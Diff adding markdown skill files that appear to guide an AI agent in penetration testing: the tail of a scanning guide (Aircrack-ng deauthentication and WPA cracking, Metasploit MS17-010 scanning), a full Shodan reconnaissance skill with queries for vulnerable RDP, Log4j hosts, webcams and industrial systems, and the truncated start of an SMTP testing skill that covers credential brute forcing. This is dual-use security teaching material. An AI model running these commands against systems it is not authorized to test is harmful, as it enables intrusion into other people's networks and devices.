|
||||
nikto -h target.com -o report.csv -Format csv
|
||||
|
||||
# Tuning options
|
||||
nikto -h target.com -Tuning 123456789 # All tests
|
||||
nikto -h target.com -Tuning x # Exclude specific tests
|
||||
```
|
||||
|
||||
### Phase 4: Wireless Scanning Tools
|
||||
|
||||
#### Aircrack-ng Suite
|
||||
|
||||
Wireless network penetration testing:
|
||||
|
||||
```bash
|
||||
# Check wireless interface
|
||||
airmon-ng
|
||||
|
||||
# Enable monitor mode
|
||||
sudo airmon-ng start wlan0
|
||||
|
||||
# Scan for networks
|
||||
sudo airodump-ng wlan0mon
|
||||
|
||||
# Capture specific network
|
||||
sudo airodump-ng -c <channel> --bssid <target_bssid> -w capture wlan0mon
|
||||
|
||||
# Deauthentication attack
|
||||
sudo aireplay-ng -0 10 -a <bssid> wlan0mon
|
||||
|
||||
# Crack WPA handshake
|
||||
aircrack-ng -w wordlist.txt -b <bssid> capture*.cap
|
||||
|
||||
# Crack WEP
|
||||
aircrack-ng -b <bssid> capture*.cap
|
||||
```
|
||||
|
||||
#### Kismet
|
||||
|
||||
Passive wireless detection:
|
||||
|
||||
```bash
|
||||
# Start Kismet
|
||||
kismet
|
||||
|
||||
# Specify interface
|
||||
kismet -c wlan0
|
||||
|
||||
# Access web interface
|
||||
# http://localhost:2501
|
||||
|
||||
# Detect hidden networks
|
||||
# Kismet passively collects all beacon frames
|
||||
# including those from hidden SSIDs
|
||||
```
|
||||
|
||||
### Phase 5: Malware and Exploit Scanning
|
||||
|
||||
#### ClamAV
|
||||
|
||||
Open-source antivirus scanning:
|
||||
|
||||
```bash
|
||||
# Update virus definitions
|
||||
sudo freshclam
|
||||
|
||||
# Scan directory
|
||||
clamscan -r /path/to/scan
|
||||
|
||||
# Scan with verbose output
|
||||
clamscan -r -v /path/to/scan
|
||||
|
||||
# Move infected files
|
||||
clamscan -r --move=/quarantine /path/to/scan
|
||||
|
||||
# Remove infected files
|
||||
clamscan -r --remove /path/to/scan
|
||||
|
||||
# Scan specific file types
|
||||
clamscan -r --include='\.exe$|\.dll$' /path/to/scan
|
||||
|
||||
# Output to log
|
||||
clamscan -r -l scan.log /path/to/scan
|
||||
```
|
||||
|
||||
#### Metasploit Vulnerability Validation
|
||||
|
||||
Validate vulnerabilities with exploitation:
|
||||
|
||||
```bash
|
||||
# Start Metasploit
|
||||
msfconsole
|
||||
|
||||
# Database setup
|
||||
msfdb init
|
||||
db_status
|
||||
|
||||
# Import Nmap results
|
||||
db_import /path/to/nmap_scan.xml
|
||||
|
||||
# Vulnerability scanning
|
||||
use auxiliary/scanner/smb/smb_ms17_010
|
||||
set RHOSTS 192.168.1.0/24
|
||||
run
|
||||
|
||||
# Auto exploitation
|
||||
vulns # View vulnerabilities
|
||||
analyze # Suggest exploits
|
||||
```
|
||||
|
||||
### Phase 6: Cloud Security Scanning
|
||||
|
||||
#### Prowler (AWS)
|
||||
|
||||
AWS security assessment:
|
||||
|
||||
```bash
|
||||
# Install Prowler
|
||||
pip install prowler
|
||||
|
||||
# Basic scan
|
||||
prowler aws
|
||||
|
||||
# Specific checks
|
||||
prowler aws -c iam s3 ec2
|
||||
|
||||
# Compliance framework
|
||||
prowler aws --compliance cis_aws
|
||||
|
||||
# Output formats
|
||||
prowler aws -M html json csv
|
||||
|
||||
# Specific region
|
||||
prowler aws -f us-east-1
|
||||
|
||||
# Assume role
|
||||
prowler aws -R arn:aws:iam::123456789012:role/ProwlerRole
|
||||
```
|
||||
|
||||
#### ScoutSuite (Multi-cloud)
|
||||
|
||||
Multi-cloud security auditing:
|
||||
|
||||
```bash
|
||||
# Install ScoutSuite
|
||||
pip install scoutsuite
|
||||
|
||||
# AWS scan
|
||||
scout aws
|
||||
|
||||
# Azure scan
|
||||
scout azure --cli
|
||||
|
||||
# GCP scan
|
||||
scout gcp --user-account
|
||||
|
||||
# Generate report
|
||||
scout aws --report-dir ./reports
|
||||
```
|
||||
|
||||
### Phase 7: Compliance Scanning
|
||||
|
||||
#### Lynis
|
||||
|
||||
Security auditing for Unix/Linux:
|
||||
|
||||
```bash
|
||||
# Run audit
|
||||
sudo lynis audit system
|
||||
|
||||
# Quick scan
|
||||
sudo lynis audit system --quick
|
||||
|
||||
# Specific profile
|
||||
sudo lynis audit system --profile server
|
||||
|
||||
# Output report
|
||||
sudo lynis audit system --report-file /tmp/lynis-report.dat
|
||||
|
||||
# Check specific section
|
||||
sudo lynis show profiles
|
||||
sudo lynis audit system --tests-from-group malware
|
||||
```
|
||||
|
||||
#### OpenSCAP
|
||||
|
||||
Security compliance scanning:
|
||||
|
||||
```bash
|
||||
# List available profiles
|
||||
oscap info /usr/share/xml/scap/ssg/content/ssg-<distro>-ds.xml
|
||||
|
||||
# Run scan with profile
|
||||
oscap xccdf eval --profile xccdf_org.ssgproject.content_profile_pci-dss \
|
||||
--report report.html \
|
||||
/usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
|
||||
|
||||
# Generate fix script
|
||||
oscap xccdf generate fix \
|
||||
--profile xccdf_org.ssgproject.content_profile_pci-dss \
|
||||
--output remediation.sh \
|
||||
/usr/share/xml/scap/ssg/content/ssg-rhel8-ds.xml
|
||||
```
|
||||
|
||||
### Phase 8: Scanning Methodology
|
||||
|
||||
Structured scanning approach:
|
||||
|
||||
1. **Planning**
|
||||
- Define scope and objectives
|
||||
- Obtain proper authorization
|
||||
- Select appropriate tools
|
||||
|
||||
2. **Discovery**
|
||||
- Host discovery (Nmap ping sweep)
|
||||
- Port scanning
|
||||
- Service enumeration
|
||||
|
||||
3. **Vulnerability Assessment**
|
||||
- Automated scanning (Nessus/OpenVAS)
|
||||
- Web application scanning (Burp/ZAP)
|
||||
- Manual verification
|
||||
|
||||
4. **Analysis**
|
||||
- Correlate findings
|
||||
- Eliminate false positives
|
||||
- Prioritize by severity
|
||||
|
||||
5. **Reporting**
|
||||
- Document findings
|
||||
- Provide remediation guidance
|
||||
- Executive summary
|
||||
|
||||
### Phase 9: Tool Selection Guide
|
||||
|
||||
Choose the right tool for each scenario:
|
||||
|
||||
| Scenario | Recommended Tools |
|
||||
|----------|-------------------|
|
||||
| Network Discovery | Nmap, Masscan |
|
||||
| Vulnerability Assessment | Nessus, OpenVAS |
|
||||
| Web App Testing | Burp Suite, ZAP, Nikto |
|
||||
| Wireless Security | Aircrack-ng, Kismet |
|
||||
| Malware Detection | ClamAV, YARA |
|
||||
| Cloud Security | Prowler, ScoutSuite |
|
||||
| Compliance | Lynis, OpenSCAP |
|
||||
| Protocol Analysis | Wireshark, tcpdump |
|
||||
|
||||
### Phase 10: Reporting and Documentation
|
||||
|
||||
Generate professional reports:
|
||||
|
||||
```bash
|
||||
# Nmap XML to HTML
|
||||
xsltproc nmap-output.xml -o report.html
|
||||
|
||||
# OpenVAS report export
|
||||
gvm-cli socket --xml '<get_reports report_id="<id>" format_id="<pdf_format>"/>'
|
||||
|
||||
# Combine multiple scan results
|
||||
# Use tools like Faraday, Dradis, or custom scripts
|
||||
|
||||
# Executive summary template:
|
||||
# 1. Scope and methodology
|
||||
# 2. Key findings summary
|
||||
# 3. Risk distribution chart
|
||||
# 4. Critical vulnerabilities
|
||||
# 5. Remediation recommendations
|
||||
# 6. Detailed technical findings
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Nmap Cheat Sheet
|
||||
|
||||
| Scan Type | Command |
|
||||
|-----------|---------|
|
||||
| Ping Scan | `nmap -sn <target>` |
|
||||
| Quick Scan | `nmap -T4 -F <target>` |
|
||||
| Full Scan | `nmap -p- <target>` |
|
||||
| Service Scan | `nmap -sV <target>` |
|
||||
| OS Detection | `nmap -O <target>` |
|
||||
| Aggressive | `nmap -A <target>` |
|
||||
| Vuln Scripts | `nmap --script=vuln <target>` |
|
||||
| Stealth Scan | `nmap -sS -T2 <target>` |
|
||||
|
||||
### Common Ports Reference
|
||||
|
||||
| Port | Service |
|
||||
|------|---------|
|
||||
| 21 | FTP |
|
||||
| 22 | SSH |
|
||||
| 23 | Telnet |
|
||||
| 25 | SMTP |
|
||||
| 53 | DNS |
|
||||
| 80 | HTTP |
|
||||
| 443 | HTTPS |
|
||||
| 445 | SMB |
|
||||
| 3306 | MySQL |
|
||||
| 3389 | RDP |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Considerations
|
||||
- Always obtain written authorization
|
||||
- Respect scope boundaries
|
||||
- Follow responsible disclosure practices
|
||||
- Comply with local laws and regulations
|
||||
|
||||
### Technical Limitations
|
||||
- Some scans may trigger IDS/IPS alerts
|
||||
- Heavy scanning can impact network performance
|
||||
- False positives require manual verification
|
||||
- Encrypted traffic may limit analysis
|
||||
|
||||
### Best Practices
|
||||
- Start with non-intrusive scans
|
||||
- Gradually increase scan intensity
|
||||
- Document all scanning activities
|
||||
- Validate findings before reporting
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Scan Not Detecting Hosts
|
||||
|
||||
**Solutions:**
|
||||
1. Try different discovery methods: `nmap -Pn` or `nmap -sn -PS/PA/PU`
|
||||
2. Check firewall rules blocking ICMP
|
||||
3. Use TCP SYN scan: `nmap -PS22,80,443`
|
||||
4. Verify network connectivity
|
||||
|
||||
### Slow Scan Performance
|
||||
|
||||
**Solutions:**
|
||||
1. Increase timing: `nmap -T4` or `-T5`
|
||||
2. Reduce port range: `--top-ports 100`
|
||||
3. Use Masscan for initial discovery
|
||||
4. Disable DNS resolution: `-n`
|
||||
|
||||
### Web Scanner Missing Vulnerabilities
|
||||
|
||||
**Solutions:**
|
||||
1. Authenticate to access protected areas
|
||||
2. Increase crawl depth
|
||||
3. Add custom injection points
|
||||
4. Use multiple tools for coverage
|
||||
5. Perform manual testing
|
||||
500
skills/shodan-reconnaissance/SKILL.md
Normal file
500
skills/shodan-reconnaissance/SKILL.md
Normal file
@@ -0,0 +1,500 @@
|
||||
---
|
||||
name: Shodan Reconnaissance and Pentesting
|
||||
description: This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports." It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance.
|
||||
---
|
||||
|
||||
# Shodan Reconnaissance and Pentesting
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide systematic methodologies for leveraging Shodan as a reconnaissance tool during penetration testing engagements. This skill covers the Shodan web interface, command-line interface (CLI), REST API, search filters, on-demand scanning, and network monitoring capabilities for discovering exposed services, vulnerable systems, and IoT devices.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
- **Shodan Account**: Free or paid account at shodan.io
|
||||
- **API Key**: Obtained from Shodan account dashboard
|
||||
- **Target Information**: IP addresses, domains, or network ranges to investigate
|
||||
- **Shodan CLI**: Python-based command-line tool installed
|
||||
- **Authorization**: Written permission for reconnaissance on target networks
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
- **Asset Inventory**: List of discovered hosts, ports, and services
|
||||
- **Vulnerability Report**: Identified CVEs and exposed vulnerable services
|
||||
- **Banner Data**: Service banners revealing software versions
|
||||
- **Network Mapping**: Geographic and organizational distribution of assets
|
||||
- **Screenshot Gallery**: Visual reconnaissance of exposed interfaces
|
||||
- **Exported Data**: JSON/CSV files for further analysis
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. Setup and Configuration
|
||||
|
||||
#### Install Shodan CLI
|
||||
```bash
|
||||
# Using pip
|
||||
pip install shodan
|
||||
|
||||
# Or easy_install
|
||||
easy_install shodan
|
||||
|
||||
# On BlackArch/Arch Linux
|
||||
sudo pacman -S python-shodan
|
||||
```
|
||||
|
||||
#### Initialize API Key
|
||||
```bash
|
||||
# Set your API key
|
||||
shodan init YOUR_API_KEY
|
||||
|
||||
# Verify setup
|
||||
shodan info
|
||||
# Output: Query credits available: 100
|
||||
# Scan credits available: 100
|
||||
```
|
||||
|
||||
#### Check Account Status
|
||||
```bash
|
||||
# View credits and plan info
|
||||
shodan info
|
||||
|
||||
# Check your external IP
|
||||
shodan myip
|
||||
|
||||
# Check CLI version
|
||||
shodan version
|
||||
```
|
||||
|
||||
### 2. Basic Host Reconnaissance
|
||||
|
||||
#### Query Single Host
|
||||
```bash
|
||||
# Get all information about an IP
|
||||
shodan host 1.1.1.1
|
||||
|
||||
# Example output:
|
||||
# 1.1.1.1
|
||||
# Hostnames: one.one.one.one
|
||||
# Country: Australia
|
||||
# Organization: Mountain View Communications
|
||||
# Number of open ports: 3
|
||||
# Ports:
|
||||
# 53/udp
|
||||
# 80/tcp
|
||||
# 443/tcp
|
||||
```
|
||||
|
||||
#### Check if Host is Honeypot
|
||||
```bash
|
||||
# Get honeypot probability score
|
||||
shodan honeyscore 192.168.1.100
|
||||
|
||||
# Output: Not a honeypot
|
||||
# Score: 0.3
|
||||
```
|
||||
|
||||
### 3. Search Queries
|
||||
|
||||
#### Basic Search (Free)
|
||||
```bash
|
||||
# Simple keyword search (no credits consumed)
|
||||
shodan search apache
|
||||
|
||||
# Specify output fields
|
||||
shodan search --fields ip_str,port,os smb
|
||||
```
|
||||
|
||||
#### Filtered Search (1 Credit)
|
||||
```bash
|
||||
# Product-specific search
|
||||
shodan search product:mongodb
|
||||
|
||||
# Search with multiple filters
|
||||
shodan search product:nginx country:US city:"New York"
|
||||
```
|
||||
|
||||
#### Count Results
|
||||
```bash
|
||||
# Get result count without consuming credits
|
||||
shodan count openssh
|
||||
# Output: 23128
|
||||
|
||||
shodan count openssh 7
|
||||
# Output: 219
|
||||
```
|
||||
|
||||
#### Download Results
|
||||
```bash
|
||||
# Download 1000 results (default)
|
||||
shodan download results.json.gz "apache country:US"
|
||||
|
||||
# Download specific number of results
|
||||
shodan download --limit 5000 results.json.gz "nginx"
|
||||
|
||||
# Download all available results
|
||||
shodan download --limit -1 all_results.json.gz "query"
|
||||
```
|
||||
|
||||
#### Parse Downloaded Data
|
||||
```bash
|
||||
# Extract specific fields from downloaded data
|
||||
shodan parse --fields ip_str,port,hostnames results.json.gz
|
||||
|
||||
# Filter by specific criteria
|
||||
shodan parse --fields location.country_code3,ip_str -f port:22 results.json.gz
|
||||
|
||||
# Export to CSV format
|
||||
shodan parse --fields ip_str,port,org --separator , results.json.gz > results.csv
|
||||
```
|
||||
|
||||
### 4. Search Filters Reference
|
||||
|
||||
#### Network Filters
|
||||
```
|
||||
ip:1.2.3.4 # Specific IP address
|
||||
net:192.168.0.0/24 # Network range (CIDR)
|
||||
hostname:example.com # Hostname contains
|
||||
port:22 # Specific port
|
||||
asn:AS15169 # Autonomous System Number
|
||||
```
|
||||
|
||||
#### Geographic Filters
|
||||
```
|
||||
country:US # Two-letter country code
|
||||
country:"United States" # Full country name
|
||||
city:"San Francisco" # City name
|
||||
state:CA # State/region
|
||||
postal:94102 # Postal/ZIP code
|
||||
geo:37.7,-122.4 # Lat/long coordinates
|
||||
```
|
||||
|
||||
#### Organization Filters
|
||||
```
|
||||
org:"Google" # Organization name
|
||||
isp:"Comcast" # ISP name
|
||||
```
|
||||
|
||||
#### Service/Product Filters
|
||||
```
|
||||
product:nginx # Software product
|
||||
version:1.14.0 # Software version
|
||||
os:"Windows Server 2019" # Operating system
|
||||
http.title:"Dashboard" # HTTP page title
|
||||
http.html:"login" # HTML content
|
||||
http.status:200 # HTTP status code
|
||||
ssl.cert.subject.cn:*.example.com # SSL certificate
|
||||
ssl:true # Has SSL enabled
|
||||
```
|
||||
|
||||
#### Vulnerability Filters
|
||||
```
|
||||
vuln:CVE-2019-0708 # Specific CVE
|
||||
has_vuln:true # Has any vulnerability
|
||||
```
|
||||
|
||||
#### Screenshot Filters
|
||||
```
|
||||
has_screenshot:true # Has screenshot available
|
||||
screenshot.label:webcam # Screenshot type
|
||||
```
|
||||
|
||||
### 5. On-Demand Scanning
|
||||
|
||||
#### Submit Scan
|
||||
```bash
|
||||
# Scan single IP (1 credit per IP)
|
||||
shodan scan submit 192.168.1.100
|
||||
|
||||
# Scan with verbose output (shows scan ID)
|
||||
shodan scan submit --verbose 192.168.1.100
|
||||
|
||||
# Scan and save results
|
||||
shodan scan submit --filename scan_results.json.gz 192.168.1.100
|
||||
```
|
||||
|
||||
#### Monitor Scan Status
|
||||
```bash
|
||||
# List recent scans
|
||||
shodan scan list
|
||||
|
||||
# Check specific scan status
|
||||
shodan scan status SCAN_ID
|
||||
|
||||
# Download scan results later
|
||||
shodan download --limit -1 results.json.gz scan:SCAN_ID
|
||||
```
|
||||
|
||||
#### Available Scan Protocols
|
||||
```bash
|
||||
# List available protocols/modules
|
||||
shodan scan protocols
|
||||
```
|
||||
|
||||
### 6. Statistics and Analysis
|
||||
|
||||
#### Get Search Statistics
|
||||
```bash
|
||||
# Default statistics (top 10 countries, orgs)
|
||||
shodan stats nginx
|
||||
|
||||
# Custom facets
|
||||
shodan stats --facets domain,port,asn --limit 5 nginx
|
||||
|
||||
# Save to CSV
|
||||
shodan stats --facets country,org -O stats.csv apache
|
||||
```
|
||||
|
||||
### 7. Network Monitoring
|
||||
|
||||
#### Setup Alerts (Web Interface)
|
||||
```
|
||||
1. Navigate to Monitor Dashboard
|
||||
2. Add IP, range, or domain to monitor
|
||||
3. Configure notification service (email, Slack, webhook)
|
||||
4. Select trigger events (new service, vulnerability, etc.)
|
||||
5. View dashboard for exposed services
|
||||
```
|
||||
|
||||
### 8. REST API Usage
|
||||
|
||||
#### Direct API Calls
|
||||
```bash
|
||||
# Get API info
|
||||
curl -s "https://api.shodan.io/api-info?key=YOUR_KEY" | jq
|
||||
|
||||
# Host lookup
|
||||
curl -s "https://api.shodan.io/shodan/host/1.1.1.1?key=YOUR_KEY" | jq
|
||||
|
||||
# Search query
|
||||
curl -s "https://api.shodan.io/shodan/host/search?key=YOUR_KEY&query=apache" | jq
|
||||
```
|
||||
|
||||
#### Python Library
|
||||
```python
|
||||
import shodan
|
||||
|
||||
api = shodan.Shodan('YOUR_API_KEY')
|
||||
|
||||
# Search
|
||||
results = api.search('apache')
|
||||
print(f'Results found: {results["total"]}')
|
||||
for result in results['matches']:
|
||||
print(f'IP: {result["ip_str"]}')
|
||||
|
||||
# Host lookup
|
||||
host = api.host('1.1.1.1')
|
||||
print(f'IP: {host["ip_str"]}')
|
||||
print(f'Organization: {host.get("org", "n/a")}')
|
||||
for item in host['data']:
|
||||
print(f'Port: {item["port"]}')
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Essential CLI Commands
|
||||
|
||||
| Command | Description | Credits |
|
||||
|---------|-------------|---------|
|
||||
| `shodan init KEY` | Initialize API key | 0 |
|
||||
| `shodan info` | Show account info | 0 |
|
||||
| `shodan myip` | Show your IP | 0 |
|
||||
| `shodan host IP` | Host details | 0 |
|
||||
| `shodan count QUERY` | Result count | 0 |
|
||||
| `shodan search QUERY` | Basic search | 0* |
|
||||
| `shodan download FILE QUERY` | Save results | 1/100 results |
|
||||
| `shodan parse FILE` | Extract data | 0 |
|
||||
| `shodan stats QUERY` | Statistics | 1 |
|
||||
| `shodan scan submit IP` | On-demand scan | 1/IP |
|
||||
| `shodan honeyscore IP` | Honeypot check | 0 |
|
||||
|
||||
*Filters consume 1 credit per query
|
||||
|
||||
### Common Search Queries
|
||||
|
||||
| Purpose | Query |
|
||||
|---------|-------|
|
||||
| Find webcams | `webcam has_screenshot:true` |
|
||||
| MongoDB databases | `product:mongodb` |
|
||||
| Redis servers | `product:redis` |
|
||||
| Elasticsearch | `product:elastic port:9200` |
|
||||
| Default passwords | `"default password"` |
|
||||
| Vulnerable RDP | `port:3389 vuln:CVE-2019-0708` |
|
||||
| Industrial systems | `port:502 modbus` |
|
||||
| Cisco devices | `product:cisco` |
|
||||
| Open VNC | `port:5900 authentication disabled` |
|
||||
| Exposed FTP | `port:21 anonymous` |
|
||||
| WordPress sites | `http.component:wordpress` |
|
||||
| Printers | `"HP-ChaiSOE" port:80` |
|
||||
| Cameras (RTSP) | `port:554 has_screenshot:true` |
|
||||
| Jenkins servers | `X-Jenkins port:8080` |
|
||||
| Docker APIs | `port:2375 product:docker` |
|
||||
|
||||
### Useful Filter Combinations
|
||||
|
||||
| Scenario | Query |
|
||||
|---------|-------|
|
||||
| Target org recon | `org:"Company Name"` |
|
||||
| Domain enumeration | `hostname:example.com` |
|
||||
| Network range scan | `net:192.168.0.0/24` |
|
||||
| SSL cert search | `ssl.cert.subject.cn:*.target.com` |
|
||||
| Vulnerable servers | `vuln:CVE-2021-44228 country:US` |
|
||||
| Exposed admin panels | `http.title:"admin" port:443` |
|
||||
| Database exposure | `port:3306,5432,27017,6379` |
|
||||
|
||||
### Credit System
|
||||
|
||||
| Action | Credit Type | Cost |
|
||||
|--------|-------------|------|
|
||||
| Basic search | Query | 0 (no filters) |
|
||||
| Filtered search | Query | 1 |
|
||||
| Download 100 results | Query | 1 |
|
||||
| Generate report | Query | 1 |
|
||||
| Scan 1 IP | Scan | 1 |
|
||||
| Network monitoring | Monitored IPs | Depends on plan |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Operational Boundaries
|
||||
- Rate limited to 1 request per second
|
||||
- Scan results not immediate (asynchronous)
|
||||
- Cannot re-scan same IP within 24 hours (non-Enterprise)
|
||||
- Free accounts have limited credits
|
||||
- Some data requires paid subscription
|
||||
|
||||
### Data Freshness
|
||||
- Shodan crawls continuously but data may be days/weeks old
|
||||
- On-demand scans provide current data but cost credits
|
||||
- Historical data available with paid plans
|
||||
|
||||
### Legal Requirements
|
||||
- Only perform reconnaissance on authorized targets
|
||||
- Passive reconnaissance generally legal but verify jurisdiction
|
||||
- Active scanning (scan submit) requires authorization
|
||||
- Document all reconnaissance activities
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Organization Reconnaissance
|
||||
```bash
|
||||
# Find all hosts belonging to target organization
|
||||
shodan search 'org:"Target Company"'
|
||||
|
||||
# Get statistics on their infrastructure
|
||||
shodan stats --facets port,product,country 'org:"Target Company"'
|
||||
|
||||
# Download detailed data
|
||||
shodan download target_data.json.gz 'org:"Target Company"'
|
||||
|
||||
# Parse for specific info
|
||||
shodan parse --fields ip_str,port,product target_data.json.gz
|
||||
```
|
||||
|
||||
### Example 2: Vulnerable Service Discovery
|
||||
```bash
|
||||
# Find hosts vulnerable to BlueKeep (RDP CVE)
|
||||
shodan search 'vuln:CVE-2019-0708 country:US'
|
||||
|
||||
# Find exposed Elasticsearch with no auth
|
||||
shodan search 'product:elastic port:9200 -authentication'
|
||||
|
||||
# Find Log4j vulnerable systems
|
||||
shodan search 'vuln:CVE-2021-44228'
|
||||
```
|
||||
|
||||
### Example 3: IoT Device Discovery
|
||||
```bash
|
||||
# Find exposed webcams
|
||||
shodan search 'webcam has_screenshot:true country:US'
|
||||
|
||||
# Find industrial control systems
|
||||
shodan search 'port:502 product:modbus'
|
||||
|
||||
# Find exposed printers
|
||||
shodan search '"HP-ChaiSOE" port:80'
|
||||
|
||||
# Find smart home devices
|
||||
shodan search 'product:nest'
|
||||
```
|
||||
|
||||
### Example 4: SSL/TLS Certificate Analysis
|
||||
```bash
|
||||
# Find hosts with specific SSL cert
|
||||
shodan search 'ssl.cert.subject.cn:*.example.com'
|
||||
|
||||
# Find expired certificates
|
||||
shodan search 'ssl.cert.expired:true org:"Company"'
|
||||
|
||||
# Find self-signed certificates
|
||||
shodan search 'ssl.cert.issuer.cn:self-signed'
|
||||
```
|
||||
|
||||
### Example 5: Python Automation Script
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import shodan
|
||||
import json
|
||||
|
||||
API_KEY = 'YOUR_API_KEY'
|
||||
api = shodan.Shodan(API_KEY)
|
||||
|
||||
def recon_organization(org_name):
|
||||
"""Perform reconnaissance on an organization"""
|
||||
try:
|
||||
# Search for organization
|
||||
query = f'org:"{org_name}"'
|
||||
results = api.search(query)
|
||||
|
||||
print(f"[*] Found {results['total']} hosts for {org_name}")
|
||||
|
||||
# Collect unique IPs and ports
|
||||
hosts = {}
|
||||
for result in results['matches']:
|
||||
ip = result['ip_str']
|
||||
port = result['port']
|
||||
product = result.get('product', 'unknown')
|
||||
|
||||
if ip not in hosts:
|
||||
hosts[ip] = []
|
||||
hosts[ip].append({'port': port, 'product': product})
|
||||
|
||||
# Output findings
|
||||
for ip, services in hosts.items():
|
||||
print(f"\n[+] {ip}")
|
||||
for svc in services:
|
||||
print(f" - {svc['port']}/tcp ({svc['product']})")
|
||||
|
||||
return hosts
|
||||
|
||||
except shodan.APIError as e:
|
||||
print(f"Error: {e}")
|
||||
return None
|
||||
|
||||
if __name__ == '__main__':
|
||||
recon_organization("Target Company")
|
||||
```
|
||||
|
||||
### Example 6: Network Range Assessment
|
||||
```bash
|
||||
# Scan a /24 network range
|
||||
shodan search 'net:192.168.1.0/24'
|
||||
|
||||
# Get port distribution
|
||||
shodan stats --facets port 'net:192.168.1.0/24'
|
||||
|
||||
# Find specific vulnerabilities in range
|
||||
shodan search 'net:192.168.1.0/24 vuln:CVE-2021-44228'
|
||||
|
||||
# Export all data for range
|
||||
shodan download network_scan.json.gz 'net:192.168.1.0/24'
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Cause | Solution |
|
||||
|-------|-------|----------|
|
||||
| No API Key Configured | Key not initialized | Run `shodan init YOUR_API_KEY` then verify with `shodan info` |
|
||||
| Query Credits Exhausted | Monthly credits consumed | Use credit-free queries (no filters), wait for reset, or upgrade |
|
||||
| Host Recently Crawled | Cannot re-scan IP within 24h | Use `shodan host IP` for existing data, or wait 24 hours |
|
||||
| Rate Limit Exceeded | >1 request/second | Add `time.sleep(1)` between API requests |
|
||||
| Empty Search Results | Too specific or syntax error | Use quotes for phrases: `'org:"Company Name"'`; broaden criteria |
|
||||
| Downloaded File Won't Parse | Corrupted or wrong format | Verify with `gunzip -t file.gz`, re-download with `--limit` |
|
||||
497
skills/smtp-penetration-testing/SKILL.md
Normal file
497
skills/smtp-penetration-testing/SKILL.md
Normal file
@@ -0,0 +1,497 @@
|
||||
---
|
||||
name: SMTP Penetration Testing
|
||||
description: This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
|
||||
---
|
||||
|
||||
# SMTP Penetration Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Required Tools
|
||||
```bash
|
||||
# Nmap with SMTP scripts
|
||||
sudo apt-get install nmap
|
||||
|
||||
# Netcat
|
||||
sudo apt-get install netcat
|
||||
|
||||
# Hydra for brute force
|
||||
sudo apt-get install hydra
|
||||
|
||||
# SMTP user enumeration tool
|
||||
sudo apt-get install smtp-user-enum
|
||||
|
||||
# Metasploit Framework
|
||||
msfconsole
|
||||
```
|
||||
|
||||
### Required Knowledge
|
||||
- SMTP protocol fundamentals
|
||||
- Email architecture (MTA, MDA, MUA)
|
||||
- DNS and MX records
|
||||
- Network protocols
|
||||
|
||||
### Required Access
|
||||
- Target SMTP server IP/hostname
|
||||
- Written authorization for testing
|
||||
- Wordlists for enumeration and brute force
|
||||
|
||||
## Outputs and Deliverables
|
||||
|
||||
1. **SMTP Security Assessment Report** - Comprehensive vulnerability findings
|
||||
2. **User Enumeration Results** - Valid email addresses discovered
|
||||
3. **Relay Test Results** - Open relay status and exploitation potential
|
||||
4. **Remediation Recommendations** - Security hardening guidance
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: SMTP Architecture Understanding
|
||||
|
||||
```
|
||||
Components: MTA (transfer) → MDA (delivery) → MUA (client)
|
||||
|
||||
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
|
||||
|
||||
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
|
||||
```
|
||||
|
||||
### Phase 2: SMTP Service Discovery
|
||||
|
||||
Identify SMTP servers and versions:
|
||||
|
||||
```bash
|
||||
# Discover SMTP ports
|
||||
nmap -p 25,465,587,2525 -sV TARGET_IP
|
||||
|
||||
# Aggressive service detection
|
||||
nmap -sV -sC -p 25 TARGET_IP
|
||||
|
||||
# SMTP-specific scripts
|
||||
nmap --script=smtp-* -p 25 TARGET_IP
|
||||
|
||||
# Discover MX records for domain
|
||||
dig MX target.com
|
||||
nslookup -type=mx target.com
|
||||
host -t mx target.com
|
||||
```
|
||||
|
||||
### Phase 3: Banner Grabbing
|
||||
|
||||
Retrieve SMTP server information:
|
||||
|
||||
```bash
|
||||
# Using Telnet
|
||||
telnet TARGET_IP 25
|
||||
# Response: 220 mail.target.com ESMTP Postfix
|
||||
|
||||
# Using Netcat
|
||||
nc TARGET_IP 25
|
||||
# Response: 220 mail.target.com ESMTP
|
||||
|
||||
# Using Nmap
|
||||
nmap -sV -p 25 TARGET_IP
|
||||
# Version detection extracts banner info
|
||||
|
||||
# Manual SMTP commands
|
||||
EHLO test
|
||||
# Response reveals supported extensions
|
||||
```
|
||||
|
||||
Parse banner information:
|
||||
|
||||
```
|
||||
Banner reveals:
|
||||
- Server software (Postfix, Sendmail, Exchange)
|
||||
- Version information
|
||||
- Hostname
|
||||
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
|
||||
```
|
||||
|
||||
### Phase 4: SMTP Command Enumeration
|
||||
|
||||
Test available SMTP commands:
|
||||
|
||||
```bash
|
||||
# Connect and test commands
|
||||
nc TARGET_IP 25
|
||||
|
||||
# Initial greeting
|
||||
EHLO attacker.com
|
||||
|
||||
